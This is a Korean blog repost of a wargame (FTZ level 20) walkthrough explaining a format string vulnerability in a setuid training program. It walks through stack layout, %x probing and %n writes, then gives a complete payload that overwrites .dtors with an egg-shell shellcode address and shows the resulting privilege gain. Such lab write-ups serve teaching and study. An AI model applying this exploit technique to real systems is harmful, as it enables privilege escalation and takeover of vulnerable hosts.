2012. 3. 29. 16:20
===========================================================================================================

출처 : http://geundi.tistory.com/133  by Genudi

그냥 링크를 할 수도 있었으나 혹시나 글이 지워질 사항을 대비하여 출처를 남기고 복사 하여 가져옵니다. 

좀 논리상 안맞지만 포멧 스트링 버그라는게 이해하기는 쉬워도 설명하기는 정말 까다로운 공격기법이라 생각하는데, 아래 분은 정말 잘 설명해 주셨더라구요. 


몇번 씩 다시 읽으면서 뜯어 고친 느낌도 나고, 경의를 표합니다.  

======================================================




1. 자 마지막 힌트 보시겠습니다.

#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
  setreuid(3101,3101);
  fgets(bleh,79,stdin);
  printf(bleh);
}

음 setreuid는 있군요.. 그런데 쉘을 실행시키는 명령은 없네요. 쉘코드가 필요하겠군요.



2. 취약점 분석


  (1)소스분석


크게 소스분석은 필요하지 않을것 같네요. bleh라는 이름의 버퍼가 80바이트 크기로 선언이 되었습니다. 아 이런 그런데 fgets함수에 의해서 문자열을 입력은 받긴 하지만 그 최대길이를 79바이트로 제한을 해버렸습니다. 버퍼오버플로우는 불가능합니다. ret까지 덮어쓸 뭐시기가 없네요.

그럼 이문제는 무슨 문제일까요?


  (2)printf(bleh);

바로 이부분이 문제입니다. c언어 하루라도 공부해보신 분이라면 다 아시는 printf함수 사용에 독특함이 있다는 것을 알 수 있으실겁니다. printf함수는 대부분 이런식으로 사용하죠?

#include <stdio.h>

int main();
{
 int a=0;
 printf("%d" , a);  // 이렇게 따옴표와 서식문자 %d, 변수명을 이용합니다.
}


그 문제점이 무었일까요? 그래 바로 포맷스트링 버그 입니다.



3. 포맷스트링 버그

아 이에대한 설명을 다루어야 되나 말아야 되나 고민이 됩니다. 이에 대해서도 훌륭한 문서들이 많이 있는데 말이죠. 대충 그거 한번 읽어보세요 하고 넘어가기도 그렇습니다. 자세한 설명은 못해도 문제해결에 필요한 요소를 간단하게 나마 다루어 보겠습니다.

  (1)무엇이 문제일까?

사실 printf(bleh);하여도 bleh의 문자열의 화면 출력에 문제는 없습니다.

그런데 bleh 안에 서식문자 %d나 %x %s 등이 들어있을 때 문제가 됩니다.

printf(bleh); 이렇게 함수를 사용하게 되면 문자열을 출력하다가 bleh배열 안에서 %d나 %x %s 등을 만나면 이들을 출력해야할 문자열로 보지 않고 서식문자로 인식해버린다는 것입니다.

이렇게 문자열을 출력하다가 서식문자를 만나면 메모리의 다음 4바이트 참조해서 출력하는 등 그 기능을 수행버 버리는 것입니다,.

문제의 프로그램이 printf함수까지 실행된다고 했을 때 스택의 모습입니다.

                /-------------------------/  메모리의 높은 숫자의 주소
                 |         ret             |     Stack
                /------------------/
                 |         sfb            |
                /------------------/
                 |       쓰레기1       |
                /------------------/
                 |                         |
                 |       쓰레기2       |
                 |                         |
                /------------------/
                 |                         |
                 |       bleh[80]      |
                 |                         |
                /------------------/
                 |                         |
                 |       ??생략??     |
                 |                         |
                /------------------/
                 |                         |<-- 이부분은 printf함수의 인자(bleh)가 저장되는 곳입니다.
                 |     printf(bleh)    |       이곳은 bleh의 주소가 담겨져있죠.
                 |                         |
                 /-------------------------/   메모리의  낮은 숫자의 주소

이러한 모습을 가지고 있을 텐데요..

(??생략??된 부분은 setreuid와 fgets함수 가 수행되었을 거라 생각되는 부분입니다. printf함수까지 실행된다면 setreuid와 fgets함수에 할당되었던 메모리 공간은 반환되어서 그 크기는 0일 것 같은데요. 정확히는 모르는 상황입니다.)

이제 printf함수가 실행이 된다면 인자로서 스택에 저장이 된 bleh주소를 참조하여 화면에 출력을 시작할 것입니다.

현재 esp는 스택에서 printf함수의 인자로 저장된 곳의 시작점을 가리키고 있습니다.

                 메모리 높은 주소
                /------------------/
                 |                         |
                 |     printf(bleh)    | bleh의 주소가 들어가 있다.
                 |                         |
                 /-----------------/  <-- printf함수의 의해 화면이 출력될 때 esp가 가리키고 있는 곳
                  메모리 낮은 주소

만약에 bleh에 "AAAA%x"를 입력한다면 어떻게 될까요?

처음에는 AAAA를 출력하겠지만, 서식문자 %x를 만나는 순간 현재 esp에서 4바이트 증가한 부분의 메모리의 내용을 16진수로 출력하게 되는 것입니다. 그렇다면 지금 그림에서는 ??생략??된 부분의 처음 4바이트의 내용을 출력하게 될 것입니다.

이때 bhel[80]에는 아래와 같이 입력한 데이터가 들어가 있겠죠?

                 메모리 높은 주소
                /------------------/
                 |          %x            |
                 |           A              |
                 |           A              | bleh[80]
                 |           A              |
                 |           A              |
                 /-----------------/ 
                  메모리 낮은 주소


실제 그러한지 문제의 프로그램에서 "AAAA%x"를 입력해보겠습니다.

[level20@ftz level20]$ ./attackme
AAAA%x
AAAA4f

아 정말 AAAA가 출력되고 4f라는 16진수가 출력되었습니다.


만약에 아까 ??생략?? 된 부분의 크기가 0이었다면 어떻게 출력이 되었을까요?

                메모리 높은 주소
                /------------------/
                 |          %x            |
                 |           A              |
                 |           A              | bleh[80]
                 |           A              |
                 |           A              |
                /------------------/
                 |                          |
                 |     printf(bleh)     | bleh의 주소가 들어가 있다.(4바이트 크기)
                 |                          |
                 /-----------------/  <-- printf함수의 의해 화면이 출력될 때 esp가 가리키고 있는 곳
                  메모리 낮은 주소

이런 모습이었다면 "AAAA%x"를 입력했을 때 "AAAA0x41414141"이 출력이 되어야 겠습니다. 다음 4바이트가 바로 bleh[80]의 첫 4바이트에 해당되기 때문입니다.

그러면 실제 문제의 프로그램에서 서식문자를 몇개를 넣었을 때 비로소 bleh[80]이 읽히는지 알아보겠습니다.

[level20@ftz level20]$ ./attackme
AAAA%x%x
AAAA4f40157460

[level20@ftz level20]$ ./attackme
AAAA%x%x%x
AAAA4f401574604009d500

[level20@ftz level20]$ ./attackme
AAAA%x%x%x%x
AAAA4f401574604009d50041414141

서식문자 %x를 4개를 넣었을 때 비로소 A의 16진수가 나왔습니다.

자 그래서 뭘 어떻게 하라는 말일까요?


  (2)우리에게 필요한 서식문자 %n

레벨20을 해결하는 데에 가장 중요한 서식문자 %n이 있습니다. 여태껏 printf(bleh) 이런식으로 사용하면 문자열중에 %d등과 같은 서식문자를 만나면 스택에서 다음 4바이트를 읽어서 출력한다고 했습니다.

그런데 %n은 독특한 기능을 합니다.

%n은 %n이 나오기 전에 출력된 자릿수를 계산하여 스택의 다음 4바이트에 있는 내용을 주소로 여기고 그 주소에 계산한 자릿수, 즉 숫자를 입력하는 것입니다.

자 그럼 "AAAA%n"을 넣었다고 하고 어떻게 되는지 그림으로 보겠습니다.

                메모리 높은 주소
                /------------------/
                 |          %n            |
                 |           A              |
                 |           A              | bleh[80]
                 |           A              |
                 |           A              |
                /------------------/
                 |                          |
                 |     printf(bleh)     | bleh의 주소가 들어가 있다.
                 |                          |
                 /-----------------/  <-- printf함수의 의해 화면이 출력될 때 esp가 가리키고 있는 곳
                메모리 낮은 주소

처음에는 당연히 AAAA를 출력합니다. %n을 만나면 지금까지 출력된 자릿수를 계산합니다. 계산하니 AAAA 4자리군요. 자이제 스택의 다음 4바이트의 내용을 확인합니다. 0x41414141 이겠군요(AAAA). 메모리의  0x41414141이라는 주소에 계산한 자릿수 4를 써버리는 것입니다.

그리고 %n 앞에 다른서식문자를 이용하여 %n이 인식하는 자릿수를 지정할 수도 있습니다.

예를 들어  %100c%n 이랗고 한다면 100이라는 숫자를 넣는다는 것입니다.


오~ 여기서 키포인트가 나옵니다. 우리가 원하는 메모리 주소에 원하는 내용을 쓸 수 있다는 것입니다.

ret주소에 쉘코드 주소를 쓸 수 있다는 결론이 나옵니다.

ret주소는 알아내면 될 것이고, %n은 자릿수를 10진수로 해서 넣으니 쉘코드 주소를 10진수로 바꿔서 ret주소에 써버리면 되겠습니다.


  (3)원하는 주소에 원하는 값 넣기

%임의정수c로써 %n이 인식하는 자릿수를 마음대로 정할 수 있으므로, 우리는 %임의정수c를 이용하여야 합니다. 그런데 %임의정수c에도 %c라는 서식문자가 포함되어 있기때문에 역시 스택의 4바이트를 출력하게 됩니다. 따라서 %임의정수c에 의해서 출력될 4바이트도 입력해주어야 합니다.(지금 글에서는 AAAA라는 문자를 이용하여 %임의정수c에 의해서 출력되도록 하였습니다.)

쉘코드의 주소를  입력하는데 10진수로 바꿔서 입력되도록 하여야 합니다. 그런데 일반 x86시스템에서는 정수를 이용하여 0xffffffff(4294967295)만 큼의 크기를 지정할 수 없습니다. 그래서 나온 방법이 쉘코드의 주소를 2바이트씩 나누어서 입력하는 것 입니다.

예를 들면 쉘코드의 주소가 0xbffffab8이라면 bfff와 fab8으로 나누어서 각자 10진수로 바꾸는 것입니다.

그리고 ret 주소가 08049594이라면 08049594에 2바이트(fab8)를 입력하고, 이제 2바이트 증가한 08049596에 나머지 2바이트(bfff)를 입력하는 것 방식을 취하는 것입니다.

(fab8 = 64184) 은 08049594의 주소에 넣고, (bfff  = 49151) 은 08049596의 주소에 들어가도록 해야 겠습니다.

또한 리틀 엔디안 방식을 취하고 있으므로 낮은 자리수의 것을 먼저 입력해야 할 것입니다.

또 한가지 알아야 할 부분은 레벨20의 프로그램은 서식문자가 4개가 되어서야 bleh[80]을 읽어내기 시작하였다는 것을 앞에서 확인하였습니다. 쉘코드를 입력할 ret의 주소가 bleh에 있기 때문에 esp가 가리키는 곳을 bleh까지 옮기기 위해 서식문자 %8x를 3개사용하여야 합니다. %8x로 한것은 각 부분이 최대 8자리를 차지하기 때문입니다.


자 그래서 지금까지 살펴본 것들을 토대로 하면 우리가 bleh입력할 문자열의 생김새는 다음과 같습니다.


AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n


%64144c와 %50503c에 대해서 설명을 하겠습니다.

원래 쉘코드를 10진수로 바꾸면 64184와 49151입니다.

%n은 자신이 나오기 전까지 모든 자릿수를 계산하기 때문에

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x 에 대한 자릿수까지 계산하게 됩니다. 이들의 자릿수는 (4 + 4 + 4 +4 +8 + 8 + 8) 40이므로64184에서 40을 빼 %64144c로 한 것입니다.

50503은 역시 원래 49151(bfff)입니다. 여기에서도 또한 %n은 자신이 나오기 이전의 모든 자릿수를 계산하므로 AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n에 대한 자릿수도 계산하게 됩니다. 이에 해당하는 자릿수는 64184이므로 이를 빼줘야 합니다. 

그런데 49151(bfff)에서 빼게 되면 음수가 되므로 앞에 1을 붙인 값 (1bfff)를 10진수로 변환한 값(114687)에서 64184를 빼서 %50503c가 되었습니다.

최종적으로 우리가 bleh에 입력할 문자열의 모습은 위와 같겠습니다.


4. ret주소와 .dtors

먼저 우리는 ret주소를 알아내야 합니다. 하지만 레벨20의 프로그램은 gdb로 실행이 안되어서 ret주소를 찾을 수가 없습니다.

그래서 .dtors라는 것을 이용하는데 이에 대한 설명은 하지 않겠습니다

 .dtors는 main함수가 끝나고 실행이 되는 명령이 있는 곳이라고 합니다. 이는 gcc로 컴파일한 경우에만 존재하는 것이라고합니다.

우리가 이 .dtors주소에 쉘코드의 주소를 덮어 쓰는 것입니다.

우리는 쉽게 이 .dotrs주소를 알아낼 수 있는데요.  명령은 다음과 같습니다

[

level20@ftz level20]$ objdump -h attackme | grep .dtors
 18 .dtors        00000008 08049594  08049594  00000594  2**2

08049594+4 인 위치에 쉘코드 주소를 덮어 쓰면 되겠습니다.


5. 문제해결

이제 지금까지 살펴본 내용을 토대로 하여 레벨20 해결을 시도해 보겠습니다.


  (1)쉘코드 주소

먼저 에그쉘을 실행시키고 쉘코드의 주소를 알아보겠습니다.

[level20@ftz level20]$ ./tmp/egg
Using address: 0xbffffaa8


  (2)ret주소 또는 ./dtors

레벨20의 프로그램은 gdb에서 실행이 되지 않으므로 .dtors의 주소를 알아내어 그 주소에 쉘코드 주소를 덮어 쓰는 방식으로 하겠습니다.

[level20@ftz level20]$ objdump -h attackme | grep .dtors
 18 .dtors        00000008  08049594  08049594  00000594  2**2

08049594+4 인 위치에 쉘코드 주소를 덮어 쓰면 되겠습니다.


  (3)입력할 문자열

%임의정수c의 %c에 의해서 스택에서 읽혀질 문자 4바이트 "AAAA"를 입력.

%8x를 세개 넣어서 bleh를 참조하도록 함.

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%임의정수1c%n%임의정수2c%n

임의정수1c = 쉘코드 주소(bffffaa8)중 faa8에서 앞의 자릿수(4+4+4+4+8+8+8 = 40)을 뺀 결과 64128
임의정수2c = 쉘코드 주소(bffffaa8)중 bfff앞에 1을 붙인 1bfff에서 (40+64128)을 뺀결과 50519

따라서 입력할 문자열은

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n

이 됩니다.

이것이 스택에 틀어간 모습을 그려보겠습니다.

                                     메모리의 높은 숫자의 주소
                /-------------------------/  
                 |            ret                      |     Stack
                /-------------------------/
                 |             sfb                    |
                /-------------------------/
                 |          쓰레기1                |
                /-------------------------/
                 |          쓰레기2                |
                /-------------------------/
                 |               %n                |
                 |           %50519c            |
                 |               %n                |
                 |           %64128c            |
                 |              %8x                | 
                 |             %8x                 |
                 |             %8x                 |
                 |   \x9a\x95\x04\x08   |  ← %n에 의해서 이주소에 지금까지 계산한 자리수가 입력(esp+24)
                 |            AAAA                |  ← %50519c에 의해서 AAA가 출력 (esp+24)
                 |   \x98\x95\x04\x08   |  ← %n에 의해서 이주소에 지금까지 계산한 자리수가 입력(esp+20)
                 |            AAAA                |  ← %64128c에 의해 AAAA가 출력(esp+16)
                /------------------------/
                 |                                    |  ← %8x(esp+12)
                 |          ??생략??             |  ← %8x(esp+8)
                 |                                    |  ← %8x를 만나 이 위치의 내용을 출력, esp+4)
                /------------------------/
                 |                                    |
                 |         printf(bleh)           |   ←AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08을 
                 |                                    |     화면에 출력               
                 /-------------------------/←printf함수에 의해 출력이 시작할 때 스택의 위치(esp+0)
                                      메모리의  낮은 숫자의 주소


  (4)포맷스트링버그

이제 해당 문자열을 입력해보겠습니다.

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n"';cat)|./attackme


[level20@ftz level20]$ (python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n"';cat)|./attackme
~~
공백
~~
                                                              A
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)

드디어 clear의 uid가 되었습니다.

성공하였습니다. 포맷스트링버그 이해는 하고 있지만 설명하기가 무척 어려웠습니다.
이점 이해해주시구요 -_-

수고하셨습니다.

Posted by k1rha